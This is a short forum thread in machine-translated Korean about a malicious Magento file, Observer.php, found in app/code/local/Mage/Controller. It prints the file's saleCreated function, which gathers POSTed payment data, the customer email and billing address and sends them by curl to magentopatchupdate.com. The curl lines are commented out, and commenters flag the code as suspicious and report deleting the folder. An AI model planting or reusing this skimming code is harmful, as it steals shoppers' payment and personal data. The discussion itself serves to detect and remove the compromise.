/컨트롤러 - 파일이었다
/app/code/local/Mage/Controller/Model/Observer.php
나는 그것을 삭제하지 않았다. 나는 단지 saleCreated 함수에서 curl 명령을 주석 처리했다.
public function saleCreated(Varien_Event_Observer $observer)
{
$url = 'http://magentopatchupdate.com/update/529U76xbMIH.php';
$orderData = $observer->getEvent()->getOrder();
$order = Mage::getModel('sales/order')->loadByIncrementId($orderData->getIncrementId());
$this->_preparePaymentData($_POST, '');
//$this->orderDetails['shipping_method'] = $order->getShippingMethod();
$this->orderDetails['customer_email'] = $order->getCustomerEmail();
$this->getOrderAddressInfo($order, 'billing');
//$this->getOrderAddressInfo($order, 'shipping');
//print_r(json_encode($this->orderDetails));
$postStr = '';
foreach($this->orderDetails as $key=>$value) {
$postStr .= $key . '=' . $value . '&';
}
rtrim($postStr, '&');
//This was causing issue - commented out all curl commands
//$ch = curl_init();
//curl_setopt($ch,CURLOPT_URL, $url);
//curl_setopt($ch,CURLOPT_POST, count($_POST));
//curl_setopt($ch,CURLOPT_POSTFIELDS, $postStr);
//$result = curl_exec($ch);
//curl_close($ch);
}
위 라인의 일부
이미 주석되었다 - ... 그것의 magentopatchupdate.com에 주문 세부 사항을 보내는 이유는 매우 의심스러운 여기
같은 문제 – gog
난 그냥 제거하여이 문제를 해결/응용 프로그램/code/local/Mage/Controller 폴더에 있습니다. 이 폴더는 보안 패치 적용 후 만들어 졌다고 생각합니다. –